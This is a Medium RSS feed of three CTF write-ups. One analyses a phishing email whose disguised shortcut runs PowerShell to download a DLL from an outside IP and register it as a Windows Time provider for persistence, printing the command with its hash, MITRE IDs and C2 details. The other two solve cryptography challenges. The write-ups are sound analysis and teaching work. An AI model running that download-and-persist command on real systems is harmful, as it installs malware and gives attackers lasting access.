<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by As3m on Medium]]></title>
        <description><![CDATA[Stories by As3m on Medium]]></description>
        <link>https://medium.com/@asemalsmadi4?source=rss-574eb4007ebb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2JJvWRxY9rSVKd3hRRQHog.jpeg</url>
            <title>Stories by As3m on Medium</title>
            <link>https://medium.com/@asemalsmadi4?source=rss-574eb4007ebb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:21:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@asemalsmadi4/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SOC as a Service | Forensics Challenge PwnSec CTF]]></title>
            <link>https://medium.com/@asemalsmadi4/soc-as-a-service-forensics-challenge-pwnsec-ctf-26dee35c5356?source=rss-574eb4007ebb------2</link>
            <guid isPermaLink="false">https://medium.com/p/26dee35c5356</guid>
            <dc:creator><![CDATA[As3m]]></dc:creator>
            <pubDate>Sat, 16 Nov 2024 16:12:52 GMT</pubDate>
            <atom:updated>2025-05-12T12:19:55.413Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC as a Service | Forensics Challenge | PwnSec CTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*HEM3nA4uSUXIoPzR3hNkMQ.png" /></figure><p>When we extract the file we find a .eml and a .png files. in the email the subject: Check the Errors!</p><p>Content:</p><p>Hello All,<br>I am having issues with my cmd , it doesn’t show correct results, i have<br>attached an image of how the output is coming out , Could you advice?<br>Best Regards,<br>SOC Team</p><p>This guy is having an issue in his CMD and attached a screenshot of what he got.</p><p>The email included an attachment that appeared to be an image. However, closer inspection revealed that it was not a standard image file but instead a shortcut file (.ink) with embedded malicious PowerShell code.</p><p>when we open the .png file he attached, a cmd window pops out that’s suspicus. when we click on properites we find A script in the Target field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*Ge_r0H32VPjwxt3TostteQ.png" /></figure><p>C:\Windows\System32\cmd.exe /c “powershell iwr http://20.0.145.51/windows_update/windows_update.dll -OutFile C:\Windows\Upd.dll; reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time\TimeProviders\CMDProvider /v DllName /d C:\Windows\Upd.dll /f”</p><p>What the script tries to do is download a file hosted on this IP :20.0.145.51 Then</p><p>This script performs the following action:</p><p><strong>1. File Download</strong>:</p><ul><li>iwr http://20.0.145.51/windows_update/windows_update.dll -OutFile C:\Windows\Upd.dll</li><li>Uses PowerShell’s <em>Invoke-WebRequest</em> (iwr) to download a malicious file (windows_update.dll) from the attacker-controlled server (20.0.145.51) and saves it to the victim’s machine as C:\Windows\Upd.dll.</li></ul><p><strong>2. Persistence Mechanism</strong>:</p><blockquote>reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time\TimeProviders\CMDProvider /v DllName /d C:\Windows\Upd.dll /f</blockquote><ul><li>The script adds a registry to configure a custom time provider (CMDProvider) to use the <strong>MALICIOUS DLL file </strong>(C:\Windows\Upd.dll) as part of the Windows Time service.</li><li>The malicious DLL (Upd.dll) will be loaded whenever the Windows Time service runs. Since this service starts automatically or periodically, this ensures that the malware will <strong>persist </strong>even after a system reboot.</li></ul><p>So we need to get the hash of the malicious (.dll). I used Any.Run to download that file and get the SHA1 for it.</p><blockquote><strong><em>certutil -hashfile windows_update.dll SHA1</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*OjzXgOWI4MAzCfiY0OT0kA.png" /></figure><blockquote><strong><em>SHA1: 6f4fdae522dccf52ef96698fde2e35a4539a8472</em></strong></blockquote><h3><strong>SHA1 Hash of the Malicious File</strong>:</h3><ul><li>The hash of the downloaded file (windows_update.dll) is: 6f4fdae522dccf52ef96698fde2e35a4539a8472.</li></ul><h3><strong>MITRE ID for Delivery</strong>:</h3><ul><li>This was with a little guessing I tried many Mitre ID that was somehow related to the situation of the deleviry examples: <br><strong>(Phishing) T1566.001: Spearphishing Attachment<br>(Phishing for information) T1598.002: Spearphishing Attachment</strong></li><li>The email tricked the user into interacting with a .lnk file disguised as an image attachment. so I figured it’s about masquerading as another file. I searched Mitre ID Masquerading and choose the Masquerade File Type Sub-techniques: <br><strong><em>T1036.008</em> — <em>Masquerading: Match Legitimate Name or Location</em>.</strong><em><br></em>As it was the closest to the situation we have.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jwy8Q9e4RNAgWfKePBVDwQ.png" /></figure><h3><strong>MITRE ID for Persistence</strong>:</h3><ul><li>The script adds a registry to configure a custom time provider (CMDProvider) to use a DLL file (C:\Windows\Upd.dll) as part of the Windows Time service.</li><li>The malicious DLL (Upd.dll) will be loaded whenever the Windows Time service runs. Since this service starts automatically or periodically, this ensures that the malware will persist even after a system reboot. The script tries to abuse time providers to execute DLLs when the system boots.</li><li><strong>MITRE Technique ID</strong>: T1547.003: Boot or Logon Autostart Execution: Time Providers— <em>Boot or Logon Autostart Execution: Time Providers</em>.</li></ul><p><strong>Command and Control (C2) Details</strong>:</p><ul><li>In the another Any.Run session I just downloaded the attached file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_TIUDqkhDaACqk-JezuQ_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lOL5s79QYyaa1cJfkzEiw.png" /></figure><p>Don’t mix between the src and dst port numbers, since the victim is trying to connect to the attackers CC server this means: a connection will be established between the (<strong>src port) </strong>on the victim machine and <strong>(dst port)</strong> is the port the victim is trying to connect to(C2).</p><p>These are the C2 details:</p><ul><li><strong>IP Address</strong>: 90.90.10.10 (associated with the attacker’s C2 server).</li><li><strong>Port</strong>: 1337.</li></ul><p>And this is how I managed to get the flag.</p><blockquote><strong>PWNSEC{6f4fdae522dccf52ef96698fde2e35a4539a8472_T1036.008_T1547.003_90.90.10.10_1337}</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26dee35c5356" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FlagYard CTF Write-up: Ransomflag]]></title>
            <link>https://medium.com/@asemalsmadi4/flagyard-ctf-write-up-ransomflag-9bd1846c2f48?source=rss-574eb4007ebb------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bd1846c2f48</guid>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[As3m]]></dc:creator>
            <pubDate>Sat, 27 Jul 2024 16:25:51 GMT</pubDate>
            <atom:updated>2024-07-27T16:26:25.847Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Challenge Description:</strong> The flag was encrypted using the below python script, can you recover the flag ?</p><pre>&#39;&#39;&#39;<br>[+] Encrypted Flag: 4HGJ/3Y6iekXR+FXdpdpa+ww4601QUtLGAzHO/8=<br>[+] Nonce: nFE+9jfXTKM=<br>[+] Private Key (d): 56771<br>[+] Private Key (n): 57833<br>[+] Encrypted Message: [41179, 49562, 30232, 7343, 51179, 49562, 24766, 36190, 30119, 33040, 22179, 44468, 15095, 22179, 3838, 28703, 32061, 17380, 34902, 51373, 41673, 6824, 41673, 26412, 27116, 51179, 34646, 15095, 10590, 11075, 1613, 20320, 31597, 51373, 20320, 44468, 23130, 47991, 11075, 15095, 34928, 20768, 15095, 8054]<br>&#39;&#39;&#39;<br><br><br>import secrets<br>import base64<br>from Crypto.Cipher import ChaCha20<br>from math import sqrt<br>import random<br>from random import randint<br><br>def gcd(a, b):<br>    if b == 0:<br>        return a<br>    else:<br>        return gcd(b, a % b)<br><br>def mod_inverse(a, m):<br>    for x in range(1, m):<br>        if (a * x) % m == 1:<br>            return x<br>    return -1<br><br>def is_prime(n):<br>    if n &lt; 2:<br>        return False<br>    elif n == 2:<br>        return True<br>    else:<br>        for i in range(2, int(sqrt(n)) + 1, 2):<br>            if n % i == 0:<br>                return False<br>    return True<br><br>def generate_key_pair(p, q, key_size):<br>    n_min = 1 &lt;&lt; (key_size - 1)<br>    n_max = (1 &lt;&lt; key_size) - 1<br>    primes = [2]<br>    start = 1 &lt;&lt; (key_size // 2 - 1)<br>    stop = 1 &lt;&lt; (key_size // 2 + 1)<br><br>    if start &gt;= stop:<br>        return []<br><br>    for i in range(3, stop + 1, 2):<br>        for prime in primes:<br>            if i % prime == 0:<br>                break<br>        else:<br>            primes.append(i)<br><br>    while primes and primes[0] &lt; start:<br>        del primes[0]<br><br>    while primes:<br>        p = random.choice(primes)<br>        primes.remove(p)<br>        q_values = [q for q in primes if n_min &lt;= p * q &lt;= n_max]<br>        if q_values:<br>            q = random.choice(q_values)<br>            break<br><br>    n = p * q<br>    phi = (p - 1) * (q - 1)<br><br>    e = random.randrange(1, phi)<br>    g = gcd(e, phi)<br><br>    while True:<br>        e = random.randrange(1, phi)<br>        g = gcd(e, phi)<br>        d = mod_inverse(e, phi)<br>        if g == 1 and e != d:<br>            break<br><br>    public_key = (e, n)<br>    private_key = (d, n)<br><br>    return public_key, private_key<br><br>def layer3_encryption(plaintext, public_key):<br>    e, n = public_key<br>    ciphertext = [pow(ord(c), e, n) for c in plaintext]<br>    return ciphertext<br><br>def layer1_encryption(plaintext, key):<br>    cipher = ChaCha20.new(key=key)<br>    nonce = base64.b64encode(cipher.nonce).decode(&#39;utf-8&#39;)<br>    ciphertext = base64.b64encode(cipher.encrypt(plaintext.encode())).decode(&#39;utf-8&#39;)<br>    return ciphertext, nonce<br><br><br>if __name__ == &quot;__main__&quot;:<br>    flag_input = input(&quot;Enter the flag: &quot;)<br><br>    # Layer 1<br>    chacha_key = secrets.token_bytes(32)<br>    encrypted_flag, nonce = layer1_encryption(flag_input, chacha_key)<br>    print(f&quot;[+] Encrypted Flag: {encrypted_flag}&quot;)<br>    print(f&quot;[+] Nonce: {nonce}&quot;)<br><br>    # Layer 2<br>    xor_key = &quot;0x1337&quot; <br>    obfuscated_key = bytearray(chacha_key[i] ^ ord(xor_key[i % len(xor_key)]) for i in range(len(chacha_key)))<br><br>    # Layer 3<br>    prime1 = randint(1, 1000)<br>    prime2 = randint(1, 1000)<br>    public_key, private_key = generate_key_pair(prime1, prime2, 2**4)<br>    print(f&quot;[+] Private Key (d): {private_key[0]}&quot;)<br>    print(f&quot;[+] Private Key (n): {private_key[1]}&quot;)<br>    encrypted_message = layer3_encryption(base64.b64encode(obfuscated_key).decode(&#39;utf-8&#39;), public_key)<br>    print(f&quot;[+] Encrypted Message: {encrypted_message}&quot;)<br><br></pre><h3>Introduction</h3><p>In this challenge, we are provided with a Python script that performs multi-layer encryption on a flag. Our task is to decrypt the given encrypted flag using the provided information. The encryption involves ChaCha20 and RSA algorithms along with some obfuscation techniques.</p><h3>Given Data</h3><ul><li><strong>Encrypted Flag:</strong> 4HGJ/3Y6iekXR+FXdpdpa+ww4601QUtLGAzHO/8=</li><li><strong>Nonce:</strong> nFE+9jfXTKM=</li><li><strong>Private Key (d):</strong> 56771</li><li><strong>Private Key (n):</strong> 57833</li><li><strong>Encrypted Message:</strong> [41179, 49562, 30232, 7343, 51179, 49562, 24766, 36190, 30119, 33040, 22179, 44468, 15095, 22179, 3838, 28703, 32061, 17380, 34902, 51373, 41673, 6824, 41673, 26412, 27116, 51179, 34646, 15095, 10590, 11075, 1613, 20320, 31597, 51373, 20320, 44468, 23130, 47991, 11075, 15095, 34928, 20768, 15095, 8054]</li></ul><h3>Step 1: Decrypt the RSA-encrypted Message</h3><p><strong>Goal:</strong> Decrypt the RSA-encrypted message to retrieve the obfuscated ChaCha20 key.</p><p><strong>Reasoning:</strong> RSA uses a public key to encrypt and a private key to decrypt. Given the private key components (d, n) and the RSA-encrypted message, we can decrypt it using the RSA decryption formula c^d mod n.</p><pre>from math import pow<br><br># Given data<br>encrypted_message = [41179, 49562, 30232, 7343, 51179, 49562, 24766, 36190, 30119, 33040, 22179, 44468, 15095, 22179, 3838, 28703, 32061, 17380, 34902, 51373, 41673, 6824, 41673, 26412, 27116, 51179, 34646, 15095, 10590, 11075, 1613, 20320, 31597, 51373, 20320, 44468, 23130, 47991, 11075, 15095, 34928, 20768, 15095, 8054]<br>d = 56771<br>n = 57833<br><br>def rsa_decrypt(ciphertext, d, n):<br>    decrypted = [pow(c, d, n) for c in ciphertext]  # RSA decryption formula<br>    return decrypted<br><br>decrypted_message = rsa_decrypt(encrypted_message, d, n)<br>decrypted_message = &#39;&#39;.join([chr(num) for num in decrypted_message])  # Convert numbers(ASCII) to characters<br>print(&quot;Decrypted Message:&quot;, decrypted_message)<br><br>#Output: <br>#Decrypted Message: zavPoaUF5epcspf0du+wn2ngWoSsNh7TiwTcAVhsEbs=</pre><p><strong>Explanation:</strong></p><ul><li><strong>pow(c, d, n)</strong>: This is the RSA decryption formula, where c is the ciphertext, d is the private exponent, and n is the modulus. This operation computes c^d mod n.</li><li><strong>Converting numbers to characters</strong>: The decrypted message is a list of numbers, where each number represents an ASCII value. We convert these decimal numbers back to characters to form the original message.</li></ul><h3>Step 2: Base64 decode the decrypted message</h3><p><strong>Goal:</strong> Decode the base64-encoded obfuscated ChaCha20 key.</p><p><strong>Reasoning:</strong> The decrypted message from the RSA step is base64-encoded. Base64 encoding is often used to encode binary data as text. We need to decode it to get the original binary key.</p><pre>import base64<br><br>obfuscated_key = base64.b64decode(decrypted_message) <br>print(&quot;Obfuscated Key:&quot;, obfuscated_key)<br><br>#OutPut:<br>#Obfuscated Key: b&#39;\xcd\xab\xcf\xa1\xa5\x05\xe5\xea\\\xb2\x97\xf4v\xef\xb0\x9fi\xe0Z\x84\xac6\x1e\xd3\x8b\x04\xdc\x01Xl\x11\xbb&#39;</pre><p><strong>Explanation:</strong></p><ul><li><strong>base64.b64decode(decrypted_message)</strong>: This function decodes a base64-encoded string back into its original binary form.</li></ul><h3>Step 3: XOR-decrypt the Obfuscated ChaCha20 Key</h3><p><strong>Goal:</strong> XOR-decrypt the obfuscated ChaCha20 key using the given xor_key.</p><p><strong>Reasoning:</strong> XOR (exclusive OR) is a simple cryptographic operation that can be used for obfuscation. When a key is XORed with another key (in this case, xor_key), it can be reverted by XORing the obfuscated key with the same xor_key.</p><pre>xor_key = &quot;0x1337&quot;<br><br>def xor_decrypt(obfuscated_key, xor_key):<br>    key_bytes = bytearray()<br>    for i in range(len(obfuscated_key)):<br>        key_bytes.append(obfuscated_key[i] ^ ord(xor_key[i % len(xor_key)]))  # XOR decryption<br>    return bytes(key_bytes)<br><br>chacha_key = xor_decrypt(obfuscated_key, xor_key)<br>print(&quot;ChaCha20 Key:&quot;, chacha_key)</pre><p><strong>Explanation:</strong></p><ul><li><strong>XOR Decryption:</strong> obfuscated_key[i] ^ ord(xor_key[i % len(xor_key)]) reverses the XOR operation using the same key to retrieve the original ChaCha20 key.</li></ul><h3>Step 4: Decrypt the ChaCha20-encrypted Flag</h3><p><strong>Goal:</strong> Use the recovered ChaCha20 key and nonce to decrypt the encrypted flag.</p><p><strong>Reasoning:</strong> ChaCha20 is a stream cipher, meaning it encrypts data one bit or byte at a time. It requires a key and a <strong><em>nonce</em> </strong>to initialize the encryption/decryption process. With the key and nonce, we can decrypt the encrypted flag to retrieve the original plaintext flag.</p><blockquote>A <strong>nonce</strong> (short for “number used once”) is a unique, random or pseudo-random value that is used only once in cryptographic communication. Its primary purpose is to ensure that the same plaintext, when encrypted multiple times, results in different ciphertexts each time, thereby enhancing security.</blockquote><p><strong>Steps and Explanation:</strong></p><ol><li><strong>Initialize the ChaCha20 Cipher:</strong> Use the recovered key and nonce to initialize the ChaCha20 cipher.</li><li><strong>Decrypt the Data:</strong> Use the cipher to decrypt the encrypted flag, resulting in the original plaintext.</li></ol><pre>from Crypto.Cipher import ChaCha20<br><br>encrypted_flag = &quot;4HGJ/3Y6iekXR+FXdpdpa+ww4601QUtLGAzHO/8=&quot;<br>nonce = &quot;nFE+9jfXTKM=&quot;<br><br>def chacha20_decrypt(encrypted_flag, nonce, key):<br>    # Decode the base64 encoded nonce and encrypted flag<br>    nonce_bytes = base64.b64decode(nonce)<br>    encrypted_bytes = base64.b64decode(encrypted_flag)<br>    <br>    # Initialize the ChaCha20 cipher with the key and nonce<br>    cipher = ChaCha20.new(key=key, nonce=nonce_bytes)<br>    <br>    # Decrypt the data<br>    decrypted = cipher.decrypt(encrypted_bytes)<br>    <br>    # Return the decrypted data as a string<br>    return decrypted.decode(&#39;utf-8&#39;)<br><br># Decrypt the flag using the ChaCha20 key and nonce<br>flag = chacha20_decrypt(encrypted_flag, nonce, chacha_key)<br>print(&quot;Decrypted Flag:&quot;, flag)</pre><p><strong>Explanation:</strong></p><ol><li><strong>Base64 Decoding:</strong> Convert the base64-encoded nonce and encrypted flag back to their binary forms.</li><li><strong>Cipher Initialization:</strong> Use ChaCha20.new(key=key, nonce=nonce_bytes) to create a ChaCha20 cipher instance.</li><li><strong>Decryption:</strong> Use cipher.decrypt(encrypted_bytes) to decrypt the binary data. The result is the original plaintext flag, which is then decoded from bytes to a UTF-8 string.</li></ol><h3>Summary</h3><ol><li><strong>Decrypt the RSA-encrypted message</strong>: Use the private key to decrypt the RSA-encrypted message to get the base64-encoded obfuscated ChaCha20 key.</li><li><strong>Base64 decode the decrypted message</strong>: Decode the base64-encoded string to retrieve the binary obfuscated key.</li><li><strong>XOR-decrypt the obfuscated ChaCha20 key</strong>: XOR the obfuscated key with the given xor_key to get the original ChaCha20 key.</li><li><strong>Decrypt the ChaCha20-encrypted flag</strong>: Use the recovered ChaCha20 key and nonce to decrypt the ChaCha20-encrypted flag.</li></ol><p>we get the final code:</p><pre>import base64<br>from Crypto.Cipher import ChaCha20<br><br># Given data<br>encrypted_message = [41179, 49562, 30232, 7343, 51179, 49562, 24766, 36190, 30119, 33040, 22179, 44468, 15095, 22179, 3838, 28703, 32061, 17380, 34902, 51373, 41673, 6824, 41673, 26412, 27116, 51179, 34646, 15095, 10590, 11075, 1613, 20320, 31597, 51373, 20320, 44468, 23130, 47991, 11075, 15095, 34928, 20768, 15095, 8054]<br>d = 56771<br>n = 57833<br>encrypted_flag = &quot;4HGJ/3Y6iekXR+FXdpdpa+ww4601QUtLGAzHO/8=&quot;<br>nonce = &quot;nFE+9jfXTKM=&quot;<br>xor_key = &quot;0x1337&quot;<br><br># Step 1: Decrypt the RSA-encrypted message<br>def rsa_decrypt(ciphertext, d, n):<br>    decrypted = [pow(c, d, n) for c in ciphertext]<br>    return decrypted<br><br>decrypted_message = rsa_decrypt(encrypted_message, d, n)<br>decrypted_message = &#39;&#39;.join([chr(num) for num in decrypted_message])<br>print(&quot;Decrypted Message:&quot;, decrypted_message)<br><br># Step 2: Base64 decode the decrypted message<br>obfuscated_key = base64.b64decode(decrypted_message)<br>print(&quot;Obfuscated Key:&quot;, obfuscated_key)<br><br># Step 3: XOR-decrypt the obfuscated ChaCha20 key<br>def xor_decrypt(obfuscated_key, xor_key):<br>    key_bytes = bytearray()<br>    for i in range(len(obfuscated_key)):<br>        key_bytes.append(obfuscated_key[i] ^ ord(xor_key[i % len(xor_key)]))<br>    return bytes(key_bytes)<br><br>chacha_key = xor_decrypt(obfuscated_key, xor_key)<br>print(&quot;ChaCha20 Key:&quot;, chacha_key)<br><br># Step 4: Decrypt the ChaCha20-encrypted flag<br>def chacha20_decrypt(encrypted_flag, nonce, key):<br>    nonce_bytes = base64.b64decode(nonce)<br>    encrypted_bytes = base64.b64decode(encrypted_flag)<br>    cipher = ChaCha20.new(key=key, nonce=nonce_bytes)<br>    decrypted = cipher.decrypt(encrypted_bytes)<br>    return decrypted.decode(&#39;utf-8&#39;)<br><br>flag = chacha20_decrypt(encrypted_flag, nonce, chacha_key)<br>print(&quot;Decrypted Flag:&quot;, flag)</pre><p>FlagY{Hybr!d_Encryp7i0n_Fl4g}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bd1846c2f48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Challenge Write-Up: Sequence]]></title>
            <link>https://medium.com/@asemalsmadi4/ctf-challenge-write-up-sequence-b20c17e2258a?source=rss-574eb4007ebb------2</link>
            <guid isPermaLink="false">https://medium.com/p/b20c17e2258a</guid>
            <dc:creator><![CDATA[As3m]]></dc:creator>
            <pubDate>Sun, 07 Jul 2024 15:53:11 GMT</pubDate>
            <atom:updated>2024-07-07T15:53:11.255Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>This challenge was in the qualifying stage of the Cyber ​​Warriors competition presented by NCSC.</em></blockquote><p><strong>Challenge Description Name:</strong></p><p>Sequence Description: Decrypt the encrypted message using the provided Syracuse seed and send back the original message to claim your victory!</p><p><strong>Connection Details: nc 13.36.237.1 12345</strong></p><p>A Python script was provided with the challenge, containing the following code:</p><pre>def syracuse_sequence(n):<br>    sequence = []<br>    while n != 1:<br>        sequence.append(n)<br>        if n % 2 == 0:<br>            n = n // 2<br>        else:<br>            n = 3 * n + 1<br>    sequence.append(1)  <br>    return sequence<br><br>def encrypt(message, seed):<br>    sequence = syracuse_sequence(seed)<br>    alphanumeric_chars = string.ascii_letters + string.digits<br>    encrypted_message = []<br>    <br>    for i, char in enumerate(message):<br>        if char in alphanumeric_chars:<br>            original_index = alphanumeric_chars.index(char)<br>            shift_value = sequence[i % len(sequence)]<br>            new_index = (original_index + shift_value) % len(alphanumeric_chars)<br>            encrypted_char = alphanumeric_chars[new_index]<br>            encrypted_message.append(encrypted_char)<br>        else:<br>            encrypted_message.append(char)  <br>    <br>    return &#39;&#39;.join(encrypted_message)</pre><blockquote><strong>Solution</strong></blockquote><p><strong>Step 1: Connecting with Netcat</strong></p><p>First, I connected to the provided IP address and port using netcat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*OUc68zYihBPzbPvnTopO6w.png" /></figure><p><strong>Step 2: Analyzing the Python Script</strong></p><p>To decrypt the message, I needed to understand and reverse the encryption algorithm. The encryption function uses a sequence generated by the syracuse_sequence function and applies a character shift based on this sequence.</p><p><strong>Step 3: Modifying the Script for Decryption</strong></p><p>I modified the encryption function to create a decryption function. Here is the modified script with explanations:</p><pre><br>import string<br><br>def syracuse_sequence(n):<br>    sequence = []<br>    while n != 1:<br>        sequence.append(n)<br>        if n % 2 == 0:<br>            n = n // 2<br>        else:<br>            n = 3 * n + 1<br>    sequence.append(1)  <br>    return sequence<br><br>def decrypt(encrypted_message, seed):<br>    sequence = syracuse_sequence(seed)<br>    alphanumeric_chars = string.ascii_letters + string.digits<br>    decrypted_message = []<br><br>    for i, char in enumerate(encrypted_message):<br>        if char in alphanumeric_chars:<br>            original_index = alphanumeric_chars.index(char)<br>            shift_value = sequence[i % len(sequence)]<br>            new_index = (original_index - shift_value) % len(alphanumeric_chars)<br>            decrypted_char = alphanumeric_chars[new_index]<br>            decrypted_message.append(decrypted_char)<br>        else:<br>            decrypted_message.append(char)<br><br>    return &#39;&#39;.join(decrypted_message)<br><br>encrypted_message = &quot;1iu_9yg_S5RmU_0Dc0?!&quot;<br>seed = 87<br><br>decrypted_message = decrypt(encrypted_message, seed)<br>print(&quot;Decrypted message:&quot;, decrypted_message)<br><br></pre><blockquote><strong>Explanation:</strong></blockquote><ul><li>The decrypt function mirrors the encrypt function.</li><li>Instead of adding the shift value to the original index, it subtracts the shift value from the encrypted index.</li><li>This reverse operation retrieves the original character positions.</li></ul><blockquote><strong>Step 4: Decrypting the Message</strong></blockquote><p>the output of the code was this:</p><p>Decrypted message: C4n_Y0u_Gu3ss_Th1s?!</p><blockquote><strong>Step 5: Submitting the Flag</strong></blockquote><p>The decrypted message looked like a flag, so I wrapped it in the standard flag format: <strong>flag{C4n_Y0u_Gu3ss_Th1s?!}</strong> I submitted this flag, but it didn’t work.</p><blockquote><strong>Step 6: Sending the Decrypted Message via Netcat</strong></blockquote><p>Next, I tried sending the decrypted message <strong>(C4n_Y0u_Gu3ss_Th1s?!)</strong> directly through the netcat connection: In response, I received the actual flag from the server.</p><p>This concludes the write-up for the “Sequence” CTF challenge. The key steps involved connecting to the server, analyzing and modifying the provided script to decrypt the message, and then submitting the decrypted message to obtain the flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b20c17e2258a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>